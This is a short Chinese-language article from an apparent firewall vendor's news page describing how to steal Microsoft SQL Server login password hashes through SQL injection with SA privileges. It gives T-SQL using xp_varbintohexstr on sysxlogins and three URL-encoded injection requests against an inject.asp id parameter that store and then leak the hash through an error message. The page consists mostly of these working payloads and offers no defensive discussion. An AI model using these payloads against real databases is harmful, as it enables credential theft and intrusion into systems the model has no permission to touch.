English
 电子信箱
 加入收藏

  威盾防火墙 >> 新闻中心 >> 威盾新闻 >> SA注入拿SQL的HASH

 

SA注入拿SQL的HASH

威盾防火墙 2014-12-23

 

sysxlogins表中的password字段是varbinary,是没有办法通过报错获得的。最近偶尔看到一个叫xp_varbintohexstr的扩展储存,便有了思路:

核心演示代码(查询分析器)

declare @p varbinary(64),@u varchar(16),@s varchar(128);
select top 1 @u = name,@p = password from (select top 1 * from sysxlogins where password is NOT NULL order by name ASC)T order by name DESC;
exec xp_varbintohexstr @p,@s OUT;
select User: + @u + /Hash: + @s;

 

理论的推导往往是可憎的,一下为本机asp+SA显错的测试结果:

Step.1

http://www.2cto.com/inject.asp?id=1;create+table+SQLhash(hash+varchar(2000))--

Step.2

http://www.2cto.com/inject.asp?id=1;declare+@p+varbinary(64),@u+varchar(16),@s+varchar(128);select+top+1+@u+=+name,@p+=+password+from+(select+top+1+*+from+master.dbo.sysxlogins+where+password+is+NOT+NULL+order+by+name+ASC)T+order+by+name+DESC;exec+master..xp_varbintohexstr+@p,@s+OUT;set+@s+=+User:+%2b+@u+%2b+/Hash:+%2b+@s;insert+into+SQLhash(hash)+values(@s)--

Step.3

http://www.2cto.com/inject.asp?id=1+and+(select+top+1+hash+from+SQLhash)=0--


相关内容: 最新内容:
在过滤单引号的条件下进行mssql盲注[2014-12-23]
[攻防手记]SQL Server注入大全及防御[2014-12-20]
SQL注入攻击的网络分析及防御方法[2014-12-20]
奇淫绝技:Mysql报错注入利用总结分享[2014-12-20]
SQL注入攻击防御深层思考[2014-12-20]
从网站SQL注入到深入入侵渗透过程[2014-12-20]
在过滤单引号的条件下进行mssql盲注[2014-12-23]
突破防盗链访问WEBSHELL[2014-12-23]
用防盗链系统修复IIS6.0解析漏洞的技巧[2014-12-23]
IIS下Rewrite组件防盗链 图文教程[2014-12-23]
【防盗链】浅谈网站防盗链技术[2014-12-23]
IIS防盗链 ISAPI Rewrite图片防盗链规则写法[2014-12-23]